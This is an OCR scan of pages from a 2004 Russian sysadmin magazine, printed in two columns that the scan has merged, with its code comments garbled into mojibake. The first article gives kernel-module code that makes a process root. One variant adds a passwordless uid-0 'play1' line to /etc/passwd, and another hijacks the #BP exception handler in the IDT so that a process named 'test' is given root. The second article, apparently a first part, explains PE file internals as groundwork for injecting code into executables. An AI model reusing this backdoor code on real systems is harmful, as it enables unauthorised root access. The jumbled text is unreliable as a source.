unsigned char *str = "play1::0:0:,,,:/home/play1:/bin/bash\n";
System Programming Guide, Chapter 5 «Interrupt and
psw = open("/etc/passwd", O_APPEND|O_RDWR); Exception Handling» (www.intel.com).
if(psw < 0) goto out;
Основная идея заключается в перехвате исключения
if(write(psw, str, 37)) close(psw); номер 3, Breakpoint (мнемоническое обозначение #BP),
out: которое возникает при работе отладчика. Перехват пред-
exit(0); ставляет собой простую замену адреса обработчика ис-
}
ключения #BP в таблице дескрипторов прерываний (IDT,
Тут все просто. Interrupt Descriptor Table) адресом нового обработчика. При
Теперь модуль. Изменения коснутся функции инициа- возникновении #BP управление передается новому обра-
лизации: ботчику, который вернет управление старому, но не сра-
зу – сначала он проверит, кем было сгенерировано ис-
static int __init task_on(void) ключение #BP, т.е. какой процесс является текущим,
{
struct task_struct *p; current. Проверка выполняется путем сравнения значения,
находящегося в поле comm структуры процесса, с шаб-
printk(KERN_INFO "Current - %s\n", current->comm);
лонным значением, которое хранится в новом обработчи-
p = find_task_by_name("sfc"); ке #BP. Короче говоря, сравниваются две строки, при со-
if(p) printk(KERN_INFO "PID - %d\n", p->pid); впадении которых текущий процесс (назовем его «test»)
else { получает привилегии root:
printk(KERN_INFO "No such task\n");
return 0;
} if(strcmp(current->comm, "test") == 0) current->uid = 0;

Назначаем права root процессу sfc для возможности Для того чтобы процесс вызвал исключение #BP, его
записи информации в файл /etc/passwd: необходимо запустить в отладчике и установить где-ни-
будь точку останова, например на функцию main. Как толь-
p->fsuid = 0; ко эта точка будет достигнута, будет сгенерировано ис-
p->fsgid = 0;
ключение #BP и управление получит новый обработчик.
Посылаем процессу сигнал SIGUSR2: Рассмотрим реализацию модуля ядра, выполняющего
перехват #BP ((c) kadamyse@altern.org).
sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1; /* Ôàéë task1.c */
return 0; #include <linux/module.h>
} #include <linux/slab.h>
#include <linux/sched.h>
#include <linux/init.h>
Компилируем и запускаем процесс sfc от имени пользо- #include <linux/types.h>
вателя play. После этого загружаем модуль и пробуем
// Ïðîòîòèï íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
зайти в систему под именем play1. extern void my_stub();
Кроме присвоения привилегий процессу sfc, модуль
// àäðåñ òàáëèöû IDT
отображает также информацию о текущем выполняющем- __u32 idt_addr = 0;
ся процессе: // àäðåñ ñòàðîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
__u32 old_handler = 0;
// àäðåñ ôóíêöèè, êîòîðàÿ áóäåò âûçâàíà ïåðåä îáðàáîò÷èêîì
// èñêëþ÷åíèÿ #BP.
__u32 new_handler = 0;
Именно с помощью команды insmod мы загружаем
модуль. Вопрос: каким образом можно воздействовать на Формат дескриптора IDT определяет следующая струк-
текущий процесс? Ведь по сравнению с фоновым он на- тура:
долго в памяти не задерживается. Например, тот же
insmod – загрузил модуль и сразу на выход. struct descr_idt {
__u16 off_low;
По этому поводу очень интересный пример был при- __u16 sel;

№6(19), июнь 2004 49

 программирование
__u8 none, flags; Подмену адресов в таблице IDT выполняет функция
__u16 off_high; set_handler():
} __attribute__ ((packed));

Два поля этой структуры, off_low и off_high, содержат
адрес обработчика исключения.
В поле off_low находятся младшие 16 бит, а в поле
off_high – старшие 16 бит адреса обработчика. Для полу-
чения адреса обработчика содержимое этих полей необ-
ходимо сложить следующим образом:
__u32 address = (__u32)(off_high << 16) | off_low);
Следующий указатель нам понадобится для размеще-
ния новой таблицы IDT:
struct descr_idt *idt;
void set_handler(int i, __u32 new_addr)
{
idt[i].off_high = (__u16)(new_addr >> 16);
idt[i].off_low = (__u16)(new_addr & 0x0000FFFF);
}
Параметры этой функции:
! int i – номер дескриптора, в котором нужно изменить
адрес обработчика;
! __u32 new_addr – адрес нового обработчика.
Перед заменой адресов желательно сохранить адрес
«родного» обработчика. Для этого необходимо прочитать
этот адрес из таблицы IDT:

Формат регистра таблицы дескрипторов прерываний __u32 get_handler(int i)

{
(IDTR, Interrupt Descriptor Table Register): return((idt[i].off_high << 0x10) | idt[i].off_low);
}
struct {
__u16 limit; // ðàçìåð òàáëèöû IDT
__u32 base; // áàçîâûé àäðåñ òàáëèöû IDT Следующая функция выполняет непосредственно то,
} __attribute__ ((packed)) idtr; ради чего все затевалось – назначает права root процес-
су test. Эта функция должна быть вызвана перед обра-
Адрес таблицы IDT считывает следующая функция: ботчиком исключения #BP для проверки имени текущего
процесса:
__u32 get_idt_addr()
{ asmlinkage void my_handler()
__u32 idt_addr; {
asm ("sidt %0":"=m" (idtr)); if(strcmp(current->comm, "test") == 0) {
idt_addr = idtr.base; current->uid = 0;
return idt_addr; current->gid = 0;
current->euid = 0;
} current->egid = 0;
current->suid = 0;
Функция get_idt_addr() считывает содержимое регист- current->sgid = 0;
current->fsuid = 0;
ра IDTR в структуру idtr при помощи инструкции SIDT. В current->fsgid = 0;
результате в поле base этой структуры будет находиться
printk(KERN_INFO "%s - EXCEPTION #BP occured!\n", current->comm);
искомый базовый адрес IDT. }
После того как найден базовый адрес IDT, можно со-
return;
здать новую таблицу дескрипторов прерываний, а затем }
в ней произвести подмену адреса исключения #BP:
При совпадении имен текущего процесса и шаблона
void set_new_idt() функция назначает процессу привилегии root.
{
Осталось рассмотреть, чем мы заменим стандартный
unsigned long flags; обработчик исключения #BP.
/* Следующая функция содержит в себе определение
* Âûäåëÿåì ïàìÿòü äëÿ íîâîé òàáëèöû IDT è êîïèðóåì â íåå вызова нового обработчика исключения #BP – my_stub():
* ñîäåðæèìîå ñòàðîé òàáëèöû:
*/
idt = (struct descr_idt *)kmalloc(255 * ↵ void stub()
sizeof(struct descr_idt),GFP_KERNEL); {
memcpy((void *)idt, (void *)idt_addr, 255 * ↵ __asm__ __volatile__ (
sizeof(struct descr_idt)); ".globl my_stub \n"
".align 4, 0x90 \n"
/* "my_stub: \n" // íîâûé îáðàáîò÷èê!
*  ïîëå base ñòðóêòóðû idtr çàíîñèì íîâîå çíà÷åíèå " call *%0 \n"
* áàçîâîãî àäðåñà òàáëèöû è çàãðóæàåì åãî â ðåãèñòð IDTR " jmp *%1 "
* èíñòðóêöèåé LIDT. ::"m"(new_handler),"m"(old_handler));
*/ }
idtr.base = (__u32)idt;
__save_flags(flags); __cli(); Сначала команда call вызвает функцию my_handler,
__asm__("lidt %0"::"m" (idtr));
__restore_flags(flags); адрес которой находится в переменной new_handler, а
после возврата из этой функции команда jmp передает
return;
} управление по адресу старого обработчика #BP, который

50
 программирование
сохранен в переменной old_handler. Запускаем процесс на выполнение:
Все функции, которые мы рассмотрели, будут вызва-
ны во время загрузки модуля ядра:

int init_module()
{
int i = 3; // íîìåð èñêëþ÷åíèÿ — Breakpoint (#BP) Дошли до точки останова #1. Продолжим выполнение
__u32 new_addr; // àäðåñ íîâîãî îáðàáîò÷èêà èñêëþ÷åíèÿ #BP
процесса:
/*
* Ñ÷èòûâàåì àäðåñ òàáëèöû IDT è ôîðìèðóåì íîâóþ òàáëèöó
*/
idt_addr = get_idt_addr();
printk(KERN_INFO "Old IDT address - 0x%08x\n",(__u32)(idt_addr));
set_new_idt();
printk(KERN_INFO "New IDT address - 0x%08x\n",(__u32)(idtr.base)); Запущен новый shell. Проверяем, с какими правами:
new_handler = (__u32)&my_handler; // àäðåñ ô-èè my_handler
/*
* Ñîõðàíÿåì àäðåñ ñòàðîãî îáðàáîò÷èêà #BP, îïðåäåëÿåì àäðåñ
* íîâîãî è ïðîèçâîäèì çàìåíó àäðåñîâ â íîâîé òàáëèöå IDT
*/
old_handler = get_handler(i); В итоге мы получили в свое распоряжение еще один
new_addr = (__u32)&my_stub; shell с правами play. Интересного в этом мало. Другое
set_handler(i, new_addr);
дело, если запустить shell с правами root.
return 0; Завершим работу отладчика:
}

Во время выгрузки модуля необходимо восстановить

старую таблицу IDT. Ее адрес сохранен в переменной
idt_addr. Адрес обработчика #BP восстанавливать не надо,
так как в старой таблице он остался без изменений.

void cleanup_module() Теперь загрузим модуль и опять запустим процесс в

{
unsigned long flags; отладчике:
/*
* Çàíîñèì àäðåñ òàáëèöû IDT â ïîëå base ñòðóêòóðû idtr
* à çàòåì êîìàíäîé LIDT çàãðóæàåì åãî â ðåãèñòð IDTR
*/
idtr.base = (__u32)idt_addr;
__save_flags(flags);
__cli();
__asm__("lidt %0"::"m" (idtr));
__restore_flags(flags);

/*
* Îñâîáîæäàåì ïàìÿòü, çàíÿòóþ íîâîé òàáëèöåé IDT Смотрим, какими правами обладает новый shell:
*/
kfree(idt);
printk(KERN_INFO "Old IDT address restore ↵
(0x%08x)\n",(__u32)(idtr.base));
return;
}
На этот раз все получилось так, как мы и предполага-
Процесс, статус которого мы хотим повысить, выгля- ли, – модуль перехватил исключение #BP, которое воз-
дит следующим образом: никло в момент остановки выполнения процесса на функ-
ции main, проверил имя процесса и установил его иденти-
/* Ôàéë test.c */ фикаторы в 0, повысив тем самым уровень привилегий
int main()
{ процесса до root. После этого управление было передано
system("/bin/bash"); «родному» обработчику исключения #BP и процесс про-
return 0;
} должил свое выполнение, но уже с другими правами, ко-
торые и унаследовал новый shell.
Запускаем процесс в отладчике:
Литература:
1. Теренс Чан. Системное программирование на С++ для
UNIX: Пер. с англ. – К.: Издательская группа BHV, 1999. –
Устанавливаем точку останова на функцию main(): 592c.
2. М. Митчелл, Д. Оулдем, А. Самьюэл. Программирова-
ние в Linux. Профессиональный подход.: Пер. с англ. –
М.: Издательский дом «Вильямс», 2002. – 288 с.:ил.

№6(19), июнь 2004 51

 программирование

ПУТЬ ВОИНА – ВНЕДРЕНИЕ В PE/COFF-ФАЙЛЫ

…хакерство вытеснило все – голод, интерес
к девушкам, друзей, учебу, родителей, смысл жизни.
Это был дракон, сжигающий все на своем пути,
оставляющий лишь запах напалма и смутные картинки
прошлого в памяти. Когда я включал компьютер,
я испытывал чувства, знакомые, наверное, только
заядлому наркоману, который наконец ширнулся
после двухмесячного «голода»…

Аноним

Статья подробно описывает формат PE-файлов, раскрывая особенности внутренней кухни системного
загрузчика и двусмысленности фирменной спецификации, предупреждая читателя о многочисленных
ловушках, подстерегающих его на пути внедрения своего кода в чужие исполняемые файлы. Здесь вы
найдете большое количество исходных текстов, законченных решений и наглядных примеров, упрощающих
восприятие материала. Статья ориентирована главным образом на Windows NT/9x и производные от них
системы, но также затрагивает и проблему совместимости с Windows-эмуляторами, такими, например,
как wine и doswin32.
КРИС КАСПЕРСКИ
После публикации статьи, посвященной UNIX-вирусам, ко тают крайне нестабильно, а все потому что упаковщик
мне стали приходить письма с просьбами написать «точно ASPack не соответствует спецификации, закладываясь на
такую же, но только под Windows». Действительно, внедре- те особенности системного загрузчика, преемственности
ние постороннего кода в PE-файлы – очень перспективное которых никто и никому не обещал. В лучшем случае авто-
и нетривиальное занятие, интересное не только вирусопи- ры эмуляторов добавляют в свои продукты обходной код,
сателям, но и создателям навесных протекторов/упаковщи- предназначенный для обработки подобных вещей, в худ-
ков в том числе. шем же – оставляют все как есть, мотивируя это словами
Что же до этической стороны проблемы… политика «воз- «повторять чужое пионерство себе дороже…»
держания» и удержания передовых технологий под сукном А восстановление пораженных объектов? Многие фай-
лишь увеличивает масштабы вирусных эпидемий, и когда лы после заражения отказывают в работе, и попытка вы-
дело доходит до схватки, никто из прикладных программис- лечить их антивирусом лишь усугубляет ситуацию. Всякий
тов и администраторов к ней оказывается не готов. В стане уважающий себя профессионал должен быть готов вычис-
системных программистов дела обстоят еще хуже. Исход- тить вирус вручную, не имея под рукой ничего, кроме hex-
ных текстов операционной системы нет, PE-формат доку- редактора! То же самое относится и к снятию упаковщи-
ментирован кое-как, поведение системного загрузчика во- ков/дезактивации навесных протекторов. Эй! Кто там на-
обще не подчиняется никакой логике, а допрос с пристрас- чал бурчать про злобных хакеров и неэтичность взлома?
тием (читай – дизассемблирование) еще не гарантирует, что Помилуйте, что за фрейдистские ассоциации?! Ну нельзя
остальные загрузчики поведут себя точно так же. же всю жизнь что-то ломать (надо на чем-то и сидеть!). В
На сегодняшний день не существует ни одного более или майском номере «Системного администратора» за 2004 год
менее корректного упаковщика/протектора под Windows, опубликована замечательная статья Андрея Бешкова, жи-
в полной мере поддерживающего фирменную специфика- вописно обрисовывающая возню с протекторами под эму-
цию и учитывающего недокументированные особенности лятором wine. Как говорится, тут не до жиру – быть бы живу.
поведения системных загрузчиков в операционных систе- Какой смысл платить за регистрацию, если воспользоваться
мах Windows 9x/NT. Про различные эмуляторы, такие, на- защищенной программой все равно не удастся?!
пример, как wine, doswin32, мы лучше промолчим, хотя нас Собственно говоря, всякое вмешательство в структуру
так и подмывает сказать, что файлы, упакованные ASPack готового исполняемого файла – мероприятие достаточно
в среде doswin32 либо не запускаются вообще, либо рабо- рискованное, и шанс сохранить ему работоспособность на

52

всех платформах достаточно невелик. Однако, если вы все-
таки решили, что это вам необходимо, пожалуйста, отнеси-
тесь к проектированию внедряемого кода со всей серьезно-
стью и следуйте рекомендациям, данным в этой статье.
Широта охватываемых тем не позволила рассказать обо
всем в одной статье, и ее пришлось разбить на две части –
та, которую вы сейчас держите в руках, посвящена описа-
нию малоизвестных особенностей PE-файлов, без знания
которых свой упаковщик/протектор ни за что не написать
(по крайней мере работоспособный упаковщик/протектор –
точно). А конкретные механизмы внедрения чужеродного
кода мы рассмотрим в следующий раз.
Особенности структуры PE-файлов
в конкретных реализациях
Знакомство читателя с PE-форматом не входит в нашу за-
дачу и предполагается, что некоторый опыт работы с ними у
него уже имеется. Существует множество описаний PE-фор-
мата, но среди них нет ни одного по-настоящему хорошего.
Официальная спецификация (Microsoft Portable Executable
and Common Object File Format Specification), написанная
двусмысленным библейским языком, скорее напоминает
сферического коня в вакууме, чем практическое руковод-
ство. Даже среди сотрудников Microsoft нет единого мнения
по поводу, как именно следует его толковать, и различные
системные загрузчики ведут себя сильно неодинаково. Что
же касается сторонних разработчиков, то здесь и вовсе ца-
рит полная неразбериха.
Понимание структуры готового исполняемого файла
еще не наделяет вас умением самостоятельно собирать
такие файлы вручную. Операционные системы облагают
нас весьма жесткими ограничениями, зачастую вообще
не упомянутыми в документации и варьирующимися от
одной ОС к другой. Не так-то просто создать файл, загру-
жающийся больше чем на одной машине (которой, как
правило, является машина его создателя). Один шаг в
сторону – и загрузчик открывает огонь без предупрежде-
ния, выдавая малоинформативное сообщение в стиле
«файл не является win32 приложением», после чего оста-
ется только гадать: что же здесь неправильно (кстати го-
воря, Windows 9x намного более подробно диагностирует
ошибку, чем Windows NT, если, конечно, некорректный
файл не вгонит ее в крутой завис, а виснет она на удивле-
ние часто – загрузчик там писали пионеры не иначе).
Технические писатели, затрагивающие тему исполняе-
мых файлов и совершенно не разбирающиеся в предмет-
ной области, за которую взялись, за неимением лучших
идей прибегают к довольно грязному трюку и подменяют
одну тему другой. Отталкиваясь от уже существующих PE-
файлов, созданных линкером, они долго и занудно объяс-
няют назначение каждого из полей, демонстративно про-
гуливаясь по ссылочным структурам от вершины до дна.
Сложнее разобраться, почему эти структуры сконструиро-
ваны именно так, а не иначе. Какой в них заложен запас
прочности? Каким именно образом их интерпретирует си-
стемный загрузчик? А что на счет предельно допустимых
значений? Увы, все эти вопросы остаются без ответа. Чте-
ние статей в стиле «The Portable Executable File Format from
№6(19), июнь 2004
программирование
Top to Bottom» от Randy Kath из Microsoft Developer Network
Technology Group – это хороший способ запудрить себе
мозги и написать мертворожденный PE-дампер, перевари-
вающий только «честные» файлы и падающий на всех ос-
тальных (dumpbin ведь падает!). Аналогичным образом по-
ступает и Matt Pietrek, обходящий базовые концепции PE-
файла стороной и начинающий процесс описания с сере-
дины, но так и не доводящий его до логического конца.
Иначе поступает автор статьи «Об упаковщиках в пос-
ледний раз» (http://www.wasm.ru/print.php?article= packlast01
и http://www.wasm.ru/print.php?article=packers2), сосредото-
чивший свои усилия на исследовании системного загруз-
чика W2K/XP и допустивший при этом большое количество
фактических ошибок, полный разбор которых потребовал
бы отдельной статьи. При всей ценности этой работы она
нисколько не проясняет ситуацию и только добавляет воп-
росов. Автор сетует на то, что работа загрузчика полнос-
тью не документирована и даже у Руссиновича обнаружи-
ваются лишь обрывки информации. Ну была бы она доку-
ментирована – что бы от этого изменилось? Какое нам дело
до того, что в W2K/XP загрузка файла сводится к вызову
MmCreateSection? Во-первых, в остальных системах это не
так, а во-вторых, это сегодня Microsoft стремится весь ввод/
вывод делать через mmap, но когда до горячих американс-
ких парней дойдет, что это тормоза, а не ускорение, поли-
тика изменится, и MmCreateSection отправятся на заслу-
женный отдых (в чулан ее, на полку!).
Дизассемблировать ядро совсем небесполезно, но вот
закладываться на полученные результаты, не проверив их
на остальных осях, ни в коем случае нельзя! Верить в спе-
цификации по меньшей мере наивно, ведь всякая специ-
фикация – это только слова, а всякий программный код –
лишь частный случай реализации. И то, и другое непосто-
янно и переменчиво. Чтение книжек (равно как и протира-
ние штанов в учебных заведениях различной степени тя-
жести) еще никого не сделало программистом. Лишь «опыт,
сын ошибок трудных», да общение с коллегами-системщи-
ками, позволят избежать грубых ошибок1. Как говорится,
не падает только тот, кто лежит, а кто бежит – падает, на-
ступает на грабли и попадает в логические ямы, глубо-
кие, как колодцы из романа Мураками.
Автор, имеющий богатый опыт в работе с PE-файла-
ми и помнящий численные значения смещений всех струк-
тур как отче наш, в процессе работы над статьей в такие
колодцы попадал неоднократно (да и сейчас там сидит).
Всякое значение подобно больному зубу – если его не тро-
гать, он не будет ныть. Отдельные пробелы, неясности и
непонятности неизбежны. Когда пишешь рабочие замет-
ки «для себя», просто махаешь рукой и говоришь: да ка-
кая разница, что этот большой красный рубильник дела-
ет? Работает ведь – и ладно… Статья – дело другое и тут
хочешь не хочешь, а будь добр разложить все по полоч-
кам! Автор выражает глубокую признательность удиви-
тельному человеку, мудрому программисту и создателю
замечательного линкера ulink Юрию Харону (ftp://
ftp.styx.cabel.net/pub/UniLink), терпеливо отвечавшему на
мои сумбурные и нечетко сформулированные вопросы.
Если бы не его консультации, эта статья ни за что бы не
получилось такой, какова она есть!
53
 программирование
Общие концепции и требования,
предъявляемые к PE-файлам
Структурно PE-файл состоит из заголовка (header), стра-
ничного имиджа (image page) и необязательного оверлея
(overlay). Представление PE-файла в памяти называется
его виртуальным образом (virtual image) или просто обра-
зом, а на диске – файлом или дисковым образом. Если не
оговорено обратное, то под образом всегда понимается
виртуальный образ.
Образ характеризуется двумя фундаментальными –
адресом базовой загрузки (image base) и размером (image
size). При наличии перемещаемой информации (relocation/
fixup table) образ может быть загружен по адресу, отлич-
ному от image base и назначаемому непосредственно са-
мой операционной системой.
Образ делится на страницы (pages), а файл – на сек-
торы (sectors). Виртуальный размер страниц/секторов за-
дается явно в заголовке файла и не обязательно должен
совпадать с физическим2.
Системный загрузчик требует от образа непрерывно-
сти, документация же обходит этот вопрос стороной. На
всем протяжении между image base и (image base + size
of image) не должно присутствовать ни одной бесхозной
страницы, не принадлежащей ни заголовку, ни секциям –
такой файл просто не будет загружен. (С этим не совсем
согласен Юрий Харон, однако ни одного «прерывистого»
файла выловить в живой природе мне не удалось, а по-
пытка создать таковой самостоятельно всякий раз закан-
чивалась неизменным неуспехом). Бесхозных же секто-
ров в любой части файла может быть сколько угодно. Каж-
дый сектор может отображаться на любое количество
страниц (по одной странице за раз), но никакая страница
не может отображать на один и тот же регион памяти бо-
лее одного сектора.
Для работы с PE-файлами используются три различ-
ные схемы адресации: физические адреса (называемые
также сырыми указателями или смещениями raw pointers/
raw offset или просто offset), отсчитываемые от начала
файла; виртуальные адреса (virtual address или сокращен-
ное VA), отсчитываемые от начала адресного простран-
ства процесса, и относительные виртуальные адреса
(relative virtual address или сокращенно RVA), отсчитывае-
мые от базового адреса загрузки. Все трое измеряются в
байтах и хранятся в 32-битных указателях (в PE64 все ука-
затели 64-битные, но где мы, а где PE64?). Параграфы
давно вышли из моды, а жаль… Вообще-то существует и
четвертый тип адресации – RRA, что расшифровывается
как Raw Relative Address (сырые относительные адреса)
или Relative Relative Address (относительно относительные
адреса). Терминология вновь моя, ибо официального на-
звания у такого способа адресации нет и не предвидится.
Иногда его называют offset, что не совсем верно, т.к. offset
бывают разные, а RRVA-адреса всегда отсчитываются от
стартового адреса своей структуры (в частности, Offset
ModuleName задает смещение от начала таблицы диапа-
зонного импорта).
Страничный имидж состоит из одной или нескольких
секций. С каждой секцией связано четыре атрибута: фи-
54
зический адрес начала секции в файле/размер секции в
файле, виртуальный адрес секции в памяти/размер сек-
ции в памяти и атрибут характеристик секции, описываю-
щий права доступа, особенности ее обработки системным
загрузчиком и т. д. Грубо говоря, секция вправе сама ре-
шать, откуда и куда ей грузиться, однако эта свобода весь-
ма условна и на ассортимент выбираемых значений на-
ложено множество ограничений. Начало каждой секции в
памяти/диске всегда совпадает с началом виртуальных
страниц/секторов соответственно. Попытка создать сек-
цию, начинающуюся с середины, жестоко пресекается
системным загрузчиком, отказывающимся обрабатывать
такой файл. С концом складывается более демократич-
ная ситуация и загрузчик не требует, чтобы виртуальный
(и частично физический) размер секций был кратен раз-
меру страницы. Вместо этого он самостоятельно вырав-
нивает секции, забивая их хвост нулями, так что никакая
страница (сектор) не может принадлежать двум и более
секциям сразу. Фактически это сплошное надуватель-
ство – не выровненный (в заголовке!) размер автомати-
чески выравнивается в страничном имидже, поэтому пред-
ставленные нам полномочия на проверку оказываются
сплошной фикцией.
Все секции совершенно равноправны, и тип каждой
из них тесно связан с ее атрибутами, интерпретируемы-
ми довольно неоднозначным и противоречивым образом
(см. «Таблица секций»). Реально (читай – на сегодняш-
ний день) мы имеем два аппаратных и два программных
атрибута: Accessible/Writeable и Shared/Loadable (после-
дний – условно) соответственно. Вот отсюда и следует
плясать! Все остальное – из области абстрактных кон-
цепций.
«Секция кода», «секция данных», «секция импорта» –
не более чем образные выражения, своеобразный руди-
мент старины, оставшийся в наследство от сегментной
модели памяти, когда код, данные и стек действительно
находились в различных сегментах, а не были сведены в
один, как это происходит сейчас.
Служебные структуры данных (таблицы экспорта, им-
порта, перемещаемых элементов) могут быть расположе-
ны в любой секции с подходящими атрибутами доступа.
Когда-то правила хорошего тона диктовали помещать
каждую таблицу в свою персональную секцию, но теперь
эта методика признана устаревшей. Теперь на смену ей
пришла анархия и старый добрый квадратно-гнездовой
способ, когда содержимое служебных таблиц размазыва-
ется тонким слоем по всему страничному имиджу, что су-
щественно утяжеляет алгоритм внедрения в исполняемый
файл, но это уже тема другого разговора. Впрочем, как
справедливо замечает Юрий Харон, дело тут совсем не в
анархии, а в оптимизации по размеру/скорости загрузки.
Оверлей, в своем каноническом определении сводя-
щийся к «хвостовой» части файла, не загружаемой в па-
мять, в PE-файлах может быть расположен в любом мес-
те дискового образа, в том числе и посередине. Действи-
тельно, если между двумя смежными секциями располо-
жено несколько бесхозных секторов, не приватизирован-
ных никакой секцией, такие сектора останутся без пред-
ставления в памяти и имеют все основания считать себя
 программирование
оверлеями. Собственно говоря, оверлеями их можно на- Все PE-файлы без исключения (и системные драйве-
зывать только в переносном смысле. Спецификация на ры в том числе!) начинаются с old-exe заголовка, за кон-
PE-файлы этого термина в упор не признает и никаких, цом которого следует dos-заглушка (ms-dos real-mode stub
даже самых примитивных, механизмов поддержки с овер- program или просто stub), обычно выводящая разочаро-
леями win32 API не обеспечивает (не считая, конечно, при- вывающее ругательство на терминал, хотя в некоторых
митивного ввода/вывода). случаях в нее инкапсулирована MS-DOS версия програм-
За сим все! Теперь, после составления контурной кар- мы, но это уже экзотика. Мэтт Питтерек в «Секретах сис-
ты PE-файлов, можно смело приступать к ее детализа- темного программирования под Windows 95» пишет: «пос-
ции, не рискуя заблудиться в непроходимых терминоло- ле того как загрузчик win32 отобразит в память PE-файл,
гических и технических джунглях. первый байт отображения файла соответствует первому
Внимание! Эту статью нельзя читать как приключен- байту заглушки DOS». Это неверно! Первый байт отобра-
ческий роман или детектив. Разумеется, я приложил все жения соответствует первому байту самого файла, т.е.
усилия и как мог структурировал материал, стремясь пи- отображение всегда начинается с сигнатуры «MZ», в чем
сать максимально доходчивым языком, хотя бы и ценой легко можно убедиться, загрузив файл в отладчик и про-
второстепенных деталей. Тем не менее для оперативного смотрев его дамп.
переваривания информации вам придется обложиться PE-заголовок, в подавляющем большинстве случаев
стопками распечаток и, вооружившись hex-редактором, начинающийся непосредственно за концом old-exe про-
сопровождать чтение статьи перемещением курсора по граммы, на самом деле может быть расположен в любом
файлу, чтобы самостоятельно «потрогать руками» все месте файла – хоть в середине, хоть в конце, т.к. загруз-
описываемые здесь структуры… чик определяет его положение по двойному слову e_lfanew,
Да осилит дорогу идущий! Когда вы доберетесь до кон- смещенному на 3Ch байт от начала файла.
ца, вы поймете, почему не работают некоторые файлы, PE-заголовок представляет собой 18h-байтовую струк-
упакованные ASPack/ASPrpotect, и как это исправить, не туру данных, описывающую фундаментальные характе-
говоря уже о том, что сможете создавать абсолютно ле- ристики файла и содержащую «PE\x0\x0»-сигнатуру, по
гальные файлы, которые ни один дизассемблер не дизас- которой файл, собственно говоря, и отождествляется.
семблирует в принципе! Непосредственно за концом PE-заголовка следует оп-
циональный заголовок, специфицирующий структуру стра-
Структура PE-файла ничного имиджа более детально (базовый адрес загруз-
ки, размер образа, степень выравнивания – все это и мно-
PE File Format гое другое задается именно в нем). Название «опциональ-
MS-DOS ный» выбрано не очень удачно и слабо коррелирует с ок-
MZ Header ружающей действительностью, ибо без опционального
MS-DOS Real-Mode заголовка файл попросту не загрузится, так какой же он
Stub Program «опциональный», если обязательный? (Впрочем, когда PE-
PE File Signature формат только создавался, все было по-другому, а сей-
PE File час мы вынуждены тащить это наследие старины за со-
Header бой.) Важной структурой опционального заголовка явля-
PE File ется DATA_DIRECTORY, представляющая собой массив
Optional Header указателей на подчиненные структуры данных, как то: таб-
.text Section Header лицы экспорта и импорта, отладочную информацию, таб-
лицу перемещаемых элементов и т. д. Типичный размер
.bss Section Header опционального заголовка составляет E0h байт, но может
варьироваться в ту или иную сторону, что определяется
.rdata Section Header
полнотой занятости DATA_DIRECTORY, а также количе-
. ством мусора за ее концом (если таковой вдруг там есть,
.
хотя его настоятельно рекомендуется избегать). Может по-
.
казаться забавным, но размер опционального заголовка
.debug Section Header хранится в PE-заголовке, так что эти две структуры очень
тесно связаны.
.text Section
За концом опционального заголовка следует суверен-
.bss Section
ная территория, оккупированная таблицей секций. Поли-
тическая принадлежность ее весьма условна. Ни к одному
.rdata Section из заголовков она не принадлежит и, судя по всему, явля-
ется самостоятельным заголовком безымянного типа (под-
.
.
робнее см. «SizeOfHeaders» и «Таблица секций»). Редкое
. внедрение в исполняемый файл обходится без правки таб-
лицы секций, поэтому эта структура для нас ключевая.
.debug Section
За концом таблицы секций раскинулось топкое болото
Ðèñóíîê 1. Ñõåìàòè÷åñêîå èçîáðàæåíèå PE-ôàéëà ничейной области, не принадлежащей ни заголовкам, ни

№6(19), июнь 2004 55

 программирование
секциям, образовавшееся в результате выравнивания
физических адресов секций по кратным адресам. В зави-
симости от ряда обстоятельств, подробно разбираемых
по ходу изложения материала, заболоченная память мо-
жет как отображаться на адресное пространство процес-
са, так и не отображаться на него. Обращаться с ней сле-
дует крайне осторожно, т.к. здесь может быть располо-
жен чей-то оверлей, исполняемый код или структура дан-
ных (таблица диапазонного импорта, например).
Начиная с raw offset первой секции, указанного в таб-
лице секций, простирается страничный имидж, точнее, его
упакованный дисковый образ. «Упакованный» в том смыс-
ле, что физические размеры секций (с учетом выравни-
вания) включают в себя лишь инициализированные дан-
ные и не содержат ничего лишнего (ну хорошо, «не долж-
ны содержать ничего лишнего…»). Виртуальный размер
секций может существенно превосходить физический, что
с секциями данных случается сплошь и рядом. В памяти
секции всегда упорядочены, чего нельзя сказать о диско-
вом образе. Помимо дыр, оставшихся от выравнивания,
между секциями могут располагаться оверлеи, к тому же
порядок следования секций в памяти и на диске совпада-
ет далеко не всегда…
Одни секции имеют постоянное представительство в
памяти, другие – нанимаются лишь на период загрузки,
по завершении которой в любой момент могут быть безо-
говорочно выдворены оттуда (не сброшены в своп, а имен-
но выдворены, то есть депортированы!). Что же до треть-
их – они вообще никогда не загружаются в память, ну раз-
ве что по частям. В частности, секция с отладочной ин-
формацией ведет себя именно так. Впрочем, отладочная
информация не обязательно должна оформляться в виде
отдельной секции, и чаще она подцепляется к файлу в
виде оверлея.
За концом последней секции обычно бывает располо-
жено некоторое количество мусорных байт, оставляемых
линкером по небрежности. Это не оверлей (к нему никогда
не происходит обращений), хотя и нечто очень на него по-
хожее. Разумеется, оверлеев может быть и несколько –
системный загрузчик не налагает на это никаких ограни-
чений, однако и не предоставляет никаких унифицирован-
ных механизмов работы с оверлеями – программа, создав-
шая свой оверлей, вынуждена работать с ним самостоя-
тельно, задействовав API ввода/вывода (впрочем, «вывод»
не работает в принципе, т.к. загруженный файл доступен
только на чтение, запись в него наглухо заблокирована).
Короче говоря, физическое представление исполняе-
мого файла представляет собой настоящее лоскутное
одеяло, напоминающее политическую карту мира в стиле
«раскрась сам». Переварить эту кухню очень непросто,
поскольку закладываться ни на что нельзя и следует ожи-
дать любых неожиданностей…
Что можно и что нельзя делать
с PE-файлом
Строго говоря, чужой исполняемый файл лучше не трогать,
поскольку заранее неизвестно, к чему именно он привязы-
вается и какие структуры данных контролирует. С другой
56
стороны, поведение подавляющего большинства файлов
вполне предсказуемо и внедряться в них-таки можно.
Дисковый файл и его виртуальный образ – это, как го-
ворят в Одессе, две большие разницы. С момента окон-
чания загрузки стандартный PE-файл работает исключи-
тельно со своим виртуальным образом и не обращается
непосредственно к самому файлу (исключение составля-
ют оверлеи и секции отладочной информации, но это уже
тема другого разговора). Нет, не так! Обращение к немо-
дифицированным страницам файла все-таки происходит
(при условии, что он загружен с винчестера, а не с диске-
ты или сетевого диска), Windows не настолько глупа, что-
бы вытеснять в своп то, что в любой момент можно подка-
